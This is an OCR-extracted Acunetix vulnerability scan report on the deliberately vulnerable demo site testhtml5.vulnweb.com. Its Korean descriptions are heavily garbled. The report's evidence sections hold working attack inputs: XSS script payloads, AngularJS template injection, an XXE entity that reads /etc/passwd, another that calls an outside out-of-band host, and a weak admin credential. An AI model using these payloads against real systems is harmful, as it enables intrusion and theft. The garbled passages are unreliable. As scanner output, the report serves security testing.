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© AngularJs client-side template injection
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© Cross site scripting
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CWE

Base Score: 4.3

Access Vector: Network_accessible
Access Complexity: Medium
Authentication: None

Confidentiality Impact: None

Integrity Impact: Partial

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

Base Score: 5.3

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality Impact: None
Integrity Impact: Low
Availability Impact: None

CWE-79

Variation
2

Base Score: 6.4

Access Vector: Network accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

Base Score: 5.3

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality Impact: None
Integrity Impact: Low
Availability Impact: None

CWE-79
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© DOM-based cross site scripting
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© nginx SPDY heap buffer overflow
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© Weak password

Variation
1

Base Score: 4.3

Access Vector: Network_accessible
Access Complexity: Medium
Authentication: None

Confidentiality Impact: None

Integrity Impact: Partial

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

Base Score: 5.3

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality Impact: None
Integrity Impact: Low
Availability Impact: None

CWE-79
Variation
3

Base Score: 5.1

Access Vector: Network accessible
Access Complexity: High

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: Partial

Exploitability: Proof of concept
Remediation Level: Official_fix

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CVE-2014-0133

CWE-122
Variation
1
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© XML external entity injection via external file
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Basic authentication over HTTP

Base Score: 7.5

Access Vector: Network _accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: Partial

Exploitability: Not_defined

Remediation Level: Not defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

Base Score: 7.5

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality Impact: High
Integrity Impact: None
Availability Impact: None

CWE-200
Variation
1

Base Score: 6.8

Access Vector: Network accessible
Access Complexity: Medium
Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Availability Impact: Partial

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

Base Score: 10.0

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Changed
Confidentiality Impact: High
Integrity Impact: High
Availability Impact: High

CWE-611
Variation
1
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HTML form without CSRF protection
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User credentials are sent in clear text
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Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-16
Variation
1

Base Score: 2.6

Access Vector: Network_accessible
Access Complexity: High

Authentication: None

Confidentiality Impact: None

Integrity Impact: Partial

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

Base Score: 4.3

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: Required
Scope: Unchanged
Confidentiality Impact: None
Integrity Impact: Low
Auvailability Impact: None

CWE-352
Variation
1

Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low
Authentication: None
Confidentiality Impact: Partial
Integrity Impact: None

Availability Impact: None
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) Clickjacking: X-Frame-Options header missing
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) Cookie(s) without HttpOnly flag set
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Exploitability: High

Remediation Level: Workaround

Report Confidence: Confirmed
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

Base Score: 9.1

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality Impact: High
Integrity Impact: High
Availability Impact: None

CWE-310
Variation
1

Base Score: 6.8

Access Vector: Network _accessible
Access Complexity: Medium
Authentication: None

Confidentiality Impact: Partial

Integrity Impact: Partial

Auvailability Impact: Partial

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-693
Variation
1

Base Score: 0.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: None

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not _defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined
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@ Login page password-guessing attack
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(D OPTIONS method is enabled
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CWE-16
Variation
1

Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

Base Score: 5.3

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality Impact: None
Integrity Impact: None
Availability Impact: Low

CWE-307
Variation
1

Base Score: 5.0

Access Vector: Network _accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Auvailability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

Base Score: 7.5

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality Impact: High
Integrity Impact: None
Availability Impact: None
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) Possible sensitive directories
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) Possible virtual host found
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CWE-200
Variation
1

Base Score: 5.0

Access Vector: Network _accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

Base Score: 7.5

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality Impact: High
Integrity Impact: None
Availability Impact: None

CWE-200
Variation
1

Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

Base Score: 7.5

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality Impact: High



Integrity Impact: None
Availability Impact: None

CWE CWE-200
Jdese2 s Variation
Web Server 1

(D Password type input with auto-complete enabled

Ju
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Base Score: 0.0
Access Vector: Network _accessible
Access Complexity: Low
Authentication: None
Confidentiality Impact: None
Integrity Impact: None
Auvailability Impact: None

CVSS2 Exploitability: Not_defined
Remediation Level: Not_defined
Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

Base Score: 7.5
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
CVSS3 User Interaction: None
Scope: Unchanged
Confidentiality Impact: High
Integrity Impact: None
Availability Impact: None

CWE CWE-200
JeSe2 x5 Variation
Web Server 1
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© AngularJS client-side template injection

A= High

Reported by module Scripting (XSS.script)

49

Ol & SEZ20382 S2A40IHEZ0 AngularSEIES! = HAFUH HASLICH S2A0IHEZS0 AngulardSEES =2
A2 ALEX LE0| 2et0IHEZ0 AngularJSEZEX 0| AHZ2E = HOIXIM SECZ Z&8E I YMELICH SESE ANE
otH S8 ZZ2 M AHES2 220U E S AngularJSEIZE X 0l AngularJS E8AS FAUE 5= JUSLICH OIS EH A
2 AngularJSOt ZCl0IHESUAM BIIoIH MESA O AHOIZ 2} &M ArE0tH SZ XD L2l TtHt ASEHE ZEE A
et = Az LICH

2AX = SAUOIHEFUAM EIHE AngularJSAIS = E = JUSLICH LEHROZ AngularJS HE 2 KIS 0HK 2 ME
StA O|AOIZQ ZEtotH SAXDI 222 JavaScript 2E8 A E £ ASLICH

ZXIAE
SANIL SZSE MESH0 AngularJSAE FRote X2 SIS OF BLICH HELIAH0IEE MEX LHUAN S22E i
f s N2Z2 FHIOHHU ABHSUA AFSA &2 S 2H6| S SHX] & O0HOFELICE

An uIarJS securi features and best ractlces htt s//docs an uIars org/ U|de/secur|
ut ti n J

/contact
HE32

URL encoded POST input firstName was set to pageobhpktsxm{{1==1}}I6fus.
The input was reflected inside an AngulardS template.

2 & headers

POST /contact HTTP/1.1

Content-Length: 107

Content-Type: application/x-www-form-urlencoded

Referer: http://testhtml5.vulnweb.com

Host: testhtmlb5.vulnweb.com

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21

Accept: */*
address=3137%20Laguna%20Street&firstName=pageobhpktsxm{{1==1}}16fus&lastName=igijwkvx&messag
e=20&subject=na

/contact
M3

URL encoded POST input lastName was set to iqgijwkvxcmbpy{{1==1}}vxov0.
The input was reflected inside an AngulardS template.

2 & headers

POST /contact HTTP/1.1



Content-Length: 107

Content-Type: application/x-www-form-urlencoded

Referer: http://testhtml5.vulnweb.com

Host: testhtml5.vulnweb.com

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21

Accept: */*
address=3137%20Laguna%$20Street&firstName=bwwwuaib&lastName=igijwkvxcmbpy{{1l==1}}vxov0&messag
e=20&subject=na

O Cross site scripting

8T High

Reported by module Scripting (XSS.script)

49

0l A3 & E= Cross Site Scripting (XSS)&Z& Jls4d0l = HAEHO| ASLICH

Cross Site Scripting (XSS)= 32 AJF CHE A XA L2 FO| DE(EEHAOZ Javascript)E 24 UL S dt= HAYFY

LICH Qo BRIRKIt ATJYEQ orE NS &0 4= USM AR HEAENN SAXUA 23| L MEAH B2E 4
Al & %

UEE ol= 2AJEHED A& E £ JASLICH

01Z2/7 01 & 0l JavaScript, VBScript, ActiveX, HTML &= FlashE & 25101 ALE X Sefi GI0IE &

3 o3t
INHZ + USUCLZATE HARIIE EHH AR HE L HOS C2E 4 ASLICLEE, BTN 20/ Xs b
OIXIE +F3H=AT IHSELICH
EXIAE
ADYENM AT Lol HIENZIES ZE25H010F BLICH

EXZMOIE

XSS-WO rks/
The Cross Site Scripting Faq (http://www.cgisecurity.com/xss-faq.html
OWASP Cross Slte Scripting (htt //wwwowas .or /mdex hp/Cross Slte Scri t|n

Web Server
NS32

Cookie input username was set to 1<script>5daH(9403)</script>

The input is reflected inside a text element.
2 & headers

GET / HTTP/1.1

Cookie: username=1<script>5daH (9403)</script>
Referer: http://testhtml5.vulnweb.com

Host: testhtml5.vulnweb.com

Connection: Keep-alive

Accept-Encoding: gzip,deflate



User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

© DOM-based cross site scripting

AE T High

Reported by module DeepScan
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0l 23 & E = Cross Site Scripting (XSS)= 23 0l 3 2&FLICH
Cross Site Scripting (XSS)= 32 AJF CHE A XA L2 HO| DE(EHAOZ Javascript)E 24 UL S ot FHAFY
LICH Ot B2tRMIt AT ES tH LS &0l & QS AIEXS HAHAENMN S2ZXUH 23] L ME0 H2& > 2
EE ot AJEHEIN M™E S JSLITH

HE A0l cross-site scripting FH A E 2 AH =& S0 A ZM o1 XI 2 document object model based cross-site scripting2 22t
OIHE BN AJEE IEN &S 0IX=s HYE REALICH
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ool MOl AL XHF FH 8t HE 2 31IOIH0|| JavaScript, VBScript, ActiveX, HTML &£ = Flash& &' 3t0d At X 2l CIOIHE
IR Ze JUSLICLZBB = HERINE EXMMH MEXY A L HOYE T2+ JUSLICLES, AL XA 20 Xl= H Ol
XNE +=Fol=2A T JtsELICH

EXIAE

ATOEHES MEX LA HEHHEEIE 2E S0 OF & LICH

HEXEMOIE

XSS- works/ )

The Cross Site Scripting Faq (http://www.cgisecurity.com/xss-faq.html
OWASP Cross Site Scripting (http://www.owasp.org/index.php/Cross_Site_Scriptin

XSS Fllter EvaS|on Cheat Sheet (htth /Iwww. owasp. org/mdex th/XSS Filter Evasion_Cheat_Sheet)

Web Server
HS&E32

Source: window.name

window.name: javascript:domxssExecutionSink(2,"\"><xsstag>()wildxss")
Execution Sink: evaluate code (eval/setTimeout/setinterval/...)

Evaluated code:

this.myObj=javascript:domxssExecutionSink (2, ""'\"><xsstag>()wildxss")
Stack Trace:

toObject@http://testhtml5.vulnweb.comv/static/app/libs/sessvars.js: 105:17
init@http://testhtml5.vulnweb.com/static/app/libs/sessvars.js: 76:36
http://testhtml5.vulnweb.com/static/app/libs/sessvars.js:202:13

global code@http://testhtml5.wulnweb.com/static/app/libs/sessvars.js:204:2

2 & headers



Web Server

M=
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Source: Referrer Header

Referrer: http://www.acunetix-referrer.com/javascript.domxssExecutionSink(0,"\"><xsstag>()refdxss")

Execution Sink: set HTML code (innerHTML/outerHTML/...)
HTML code set:

unknown is coming from <b>http://www.acunetix-referrer.com/javascript:domxssExecutionSink (O,

"'\"><xsstag> () refdxss")</xsstag></b> and has visited this page <b>1</b> times.

Stack Trace:

=23

http://code.jquery.com/jquery-1.9.1.min.js:4:27657
access@http://code.jquery.com/jquery-1.9.1.min.js: 3:6852
html@http://code.jquery.com/jquery-1.9.1.min.js:4:27282
c@https://ajax.googleapis.com/ajax/libs/angularjs/1.0.6/angular.min.js: 19:182
global code@http://testhtml5.wulnweb.com/static/app/post.js: 114:17

headers

Web Server

M=

38

Source: location.hash

location.hash: #/latest/page/javascript:domxssExecutionSink(1,"\"><xsstag>()hashxss")
Execution Sink: set HTML code (innerHTML/outerHTMLY/....)

HTML code set:

Jjavascript:domxssExecutionSink (1, "'\"><xsstag> ()hashxss")</xsstag> ...

Stack Trace:

fO
N

http://code.jquery.com/jquery-1.9.1.min.js:4:27657
access@http://code.jquery.com/jquery-1.9.1.min.js: 3:6852
html@http://code.jquery.com/jquery-1.9.1.min.js:4:27282
c@https://ajax.googleapis.com/ajax/libs/angularjs/1.0.6/angular.min.js: 19:182
https://ajax.googleapis.com/ajax/libs/angularjs/1.0.6/angular.min.js:142:173
$digest@https://ajax.googleapis.com/ajax/libs/angularjs/1.0.6/angular.min.js:86:339
https://ajax.googleapis.com/ajax/libs/angularjs/1.0.6/angular.min.js:61:148
https://ajax.googleapis.com/ajax/libs/angularjs/1.0.6/angular.min.js:31:85
forEach@[native code]
n@https://ajax.googleapis.com/ajax/libs/angularjs/1.0.6/angular.min.js:6:199
h@https://ajax.googleapis.com/ajax/libs/angularjs/1.0.6/angular.min.js:31:69
dispatch@http://code.jquery.com/jquery-1.9.1.min.js:3:28590
handle@http://code.jquery.com/jquery-1.9.1.min.js:3:25295

& headers

© nginx SPDY heap buffer overflow

S High

Reported by module
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1.3.150/& 1.4.7 & 1.5x 0 & 1
32 S0l 200 DB AuE

ngx_http_spdy_module module
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Scripting (Version_Check.script)
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2H & 2| nginx2 SPDY & &= heap-based buffer overflowlil M &2 33Xt It &
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EEZNECZ E20tH X& & QES ME0I0 HL X ZZHA 0l A heap memory buffer overflowd} 24 St = 2
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n ri CVE 3) (http: i i
nginx patch (http /Inginx.org/download/patch. 2014 spdy2. txt)
CVE-2014-0133 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0133)
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Web Server
NREE
Current version is : nginx/1.4.1.

2 & headers

© Weak password

AT High

Reported by module Scripting (Weak_Password_Basic_Auth.script)
&3

Ol HIOIXl= #2 BIZLHSE MEELICHAcunetix WVSOIA O HIOIXIO &26t)] )Igt AetS FEHE &= JA/USLICH #=2
2S= BALL JI2 T2 HUBMSZ S22 AFEL O, AKX 0IE, 71282 THEHSS St 2A5= A0 <
SLICH

=Rl

SAXNE HIZHSZE 25 & HOIXM B2 = ASLICH

Oai2 252 HE SHAID| HHELICLH 2 23U MR LI2=E SO ZE 2SS E HS MESHAIE HELICH

[admin
HE2&32

Username: admin, Password: secret.
2 & headers

GET /admin/ HTTP/1.1

Host: testhtml5.vulnweb.com

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21

Accept: */*

Authorization: Basic YWRtaW46c2VjcmV0



© XML external entity injection via external file

AE T High
Reported by module Scripting (XML_External_Entity Injection.script)
&3

XMLE2 S3 2% URIOI 2AXISH XMLS| Qlatel ZatS M5t A5 =S XML Z2HIA 0l XIAIGHS "2/ AEIEl (external
entities)'Z ZHE J|sS XJASCE 22 XML HEIEIE AHESHH XML M 2 A2 & document type declaration (DTD)S =1t
SIHLE =8 & £ UASLICH 22 XML AEIEIE AFE8H0 XML 2AM2 L0 XMLE Z&8AZ =5 JASLICH

Ol XML Me|210t 23X HOGHHA= EXM CIOIEHE 2 S48 UL JIIEELIC HREE ZE2AN=E SEEE H MGt
A XS HM AAES LEGHH Gl &atX| R MY LI &Y £= HITP 8& 2 A ESHA L} XMLEZMAJL AANEIDE2
£ 2 = AsUbh
U320l JIsS A80tH 2Z I (/ etc / passwd)2l HEES E 8ol ME XML2 A L LITH
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE acunetix [

<!ENTITY acunetixent SYSTEM "file:///etc/passwd">
1>
<xxx>&acunetixent;</xxx>
g=l¢
S30= €S E= M ASXOOIEH 22 S2E HOIEHI Z&E = U= TZMY S, AIAE AHETO I A3
Ot E= ol 2201 Z8E = JUASLLC BZS2 XMLEANE HMeldle 88 T2 80 2360 2Aat| 20 S3 k=
Ol AZE =RU= S ZZ2]HS AE0IH UGE WUR MAELZ IH & = UA2H http LES SH UE USSR HES S
g = ASsUT
X AHE

: n i
XXE (Xml eXternal Entity) attack (http://archive.cert.uni-stuttgart.de/bu tra /2002/10/ms 00421 html
XML External Entity (XXE) Processing (https://www.owasp.org/index.php/XML_External_Enti XXE)_Processin

gygwe g

ro

[forgotpw
NEEE

Custom POST input text/xml was set to <?xml version="1.0" encoding="utf-8"?> <IDOCTYPE acunetix [ <!ENTITY
acunetixent SYSTEM "http://hitHnO48A0CjZ bxss.me/"> ]> <xxx>&acunetixent; </xxx>

An HTTP request was initiated for the domain hitHnO48A0CjZ.bxss.me which indicates that this script is vulnerable to XXE
injection.

HTTP request details:

IP address: 176.28.50.165
User agent: Python-urllib/1.17



2 & headers

POST /forgotpw HTTP/1.1
Content-Type: text/xml
Content-Length: 156

Host: testhtml5.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)

Chrome/41.0.2228.0 Safari/537.21

Accept: */*

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE acunetix [

<!ENTITY acunetixent SYSTEM "http://hitHnO48A0C]jZ.bxss.me/">
1>

<xxx>&acunetixent;</xxx>

Basic authentication over HTTP

ol
rir

=13 =]
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=

A= Medium
Reported by module Scripting (Basic_Auth_Over_HTTP.script)
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2 & headers

HTML form without CSRF protection

E = Medium
Reported by module Crawler
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Form name: <empty>

Form action: http://testhtml5.vulnweb.conviogin

Form method: POST

Form inputs:

e username [Text]
e password [Password]

2 & headers

GET / HTTP/1.1

Pragma: no-cache

Cache-Control: no-cache

Host: testhtml5.vulnweb.com

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)

Chrome/41.0.2228.0 Safari/537.21
Accept: */*

User credentials are sent in clear text

ET Medium

Reported by module Crawler
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HNEEE

Form name: <empty>
Form action: http://testhtml5.vulnweb.convlogin
Form method: POST

Form inputs:

e username [Text]
e password [Password]

2 & headers

GET / HTTP/1.1

Pragma: no-cache

Cache-Control: no-cache

Host: testhtml5.vulnweb.com

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21

Accept: */*

@ Clickjacking: X-Frame-Options header missing

e T Low

Reported by module Scripting (Clickjacking_X_Frame_Options.script)
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Frame Buster Buster (http://stackoverflow.com/questions/958997/frame-buster-buster-buster-code-needed)
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GET / HTTP/1.1

Cookie: username=admin

Host: testhtml5.vulnweb.com

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21

Accept: */*

© Cookie(s) without HttpOnly flag set

A= Low

Reported by module Crawler
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Cookies found:

¢ Name: username, Domain: testhtmi5.vulnweb.com

2 & headers

OPTIONS / HTTP/1.1

Host: testhtml5.vulnweb.com

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21

Accept: */*

@ Login page password-guessing attack

A= Low

Reported by module Scripting (Html_Authentication_Audit.script)
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Blocking Brute Force Attacks (http://www.owasp.org/index.php/Blocking_Brute Force_Attacks)

g2 =

/login

HNREE

The scanner tested 10 invalid credentials and no account lockout was detected.
2 & headers

POST /login HTTP/1.1

Content-Length: 35

Content-Type: application/x-www-form-urlencoded
Referer: http://testhtml5.vulnweb.com

Host: testhtml5.vulnweb.com

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21

Accept: */*
password=oVz28hgb&username=HpjQrFNM

© OPTIONS method is enabled

A8 Low
Reported by module Scripting (Options_Server_Method.script)
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Testing for HTTP Methods and XST (OWASP-CM-008)
(https://www.owasp.org/index.php/Testing_for HTTP_Methods_and_XST_ (OWASP-CM-008))
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Methods allowed: HEAD, OPTIONS, GET.
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2 & headers

OPTIONS / HTTP/1.1

Host: testhtml5.vulnweb.com

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21

Accept: */*

@ Possible sensitive directories

AT Low
Reported by module Scripting (Possible_Sensitive_Directories.script)
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2 & headers

GET /admin HTTP/1.1

Accept: acunetix/wvs

Range: bytes=0-99999

Host: testhtml5.vulnweb.com

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21

© Possible virtual host found

HEE Low
Reported by module Scripting (VirtualHost_Audit.script)
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Virtual host: localhost
Response:

<!DOCTYPE html>

<html>
<head>
<title>Welcome to nginx!</title>
<style>
body {
width: 35em;
margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
}
</style>
</head>
<body>

<hl>Welcome to nginx!</hl>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>

Commercial support is available at
<a href

2 & headers

@ Password type input with auto-complete enabled

A8 Informational

Reported by module Crawler
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AUTOCOMPLETE="0off">[/code][/pre]
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Password type input(s): password from form with ID loginForm with action /login have autocomplete enabled.

2 & headers

GET / HTTP/1.1

Pragma: no-cache
Cache-Control: no-cache

Host: testhtml5.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)

Chrome/41.0.2228.0 Safari/537.21
Accept: */*



A &S (coverage report)

http://testhtml5.vulnweb.com/
http://testhtml5.vulnweb.com/admin
http://testhtmi5.vulnweb.com/ajax
http://testhtml5.vulnweb.com/ajax/archive
http://testhtml5.vulnweb.com/ajax/latest
http://testhtml5.vulnweb.com/ajax/popular
http://testhtml5.vulnweb.com/contact
http://testhtml5.vulnweb.com/favicon.ico
http://testhtml5.vulnweb.com/forgotpw
http://testhtml5.vulnweb.com/login
http://testhtml5.vulnweb.com/logout
http://testhtml5.vulnweb.com/static
http://testhtml5.vulnweb.com/static/app
http://testhtml5.vulnweb.com/static/app/app.js
http://testhtml5.vulnweb.com/static/app/controllers
http://testhtml5.vulnweb.com/static/app/controllers/controllers.js
http://testhtml5.vulnweb.com/static/app/libs
http://testhtml5.vulnweb.com/static/app/libs/sessvars.js
http://testhtml5.vulnweb.com/static/app/partials
http://testhtml5.vulnweb.com/static/app/partials/about.html
http://testhtml5.vulnweb.com/static/app/partials/archive.htmil
http://testhtml5.vulnweb.com/static/app/partials/carousel.html
http://testhtml5.vulnweb.com/static/app/partials/contact.html
http://testhtml5.vulnweb.com/static/app/partials/itemsList.html
http://testhtml5.vulnweb.com/static/app/partials/latest.html
http://testhtml5.vulnweb.com/static/app/partials/popular.html
http://testhtml5.vulnweb.com/static/app/post.js
http://testhtml5.vulnweb.com/static/app/services
http://testhtml5.vulnweb.com/static/app/services/itemsService.js
http://testhtml5.vulnweb.com/static/css
http://testhtmlI5.vulnweb.com/static/css/style.css
http://testhtml5.vulnweb.com/static/img



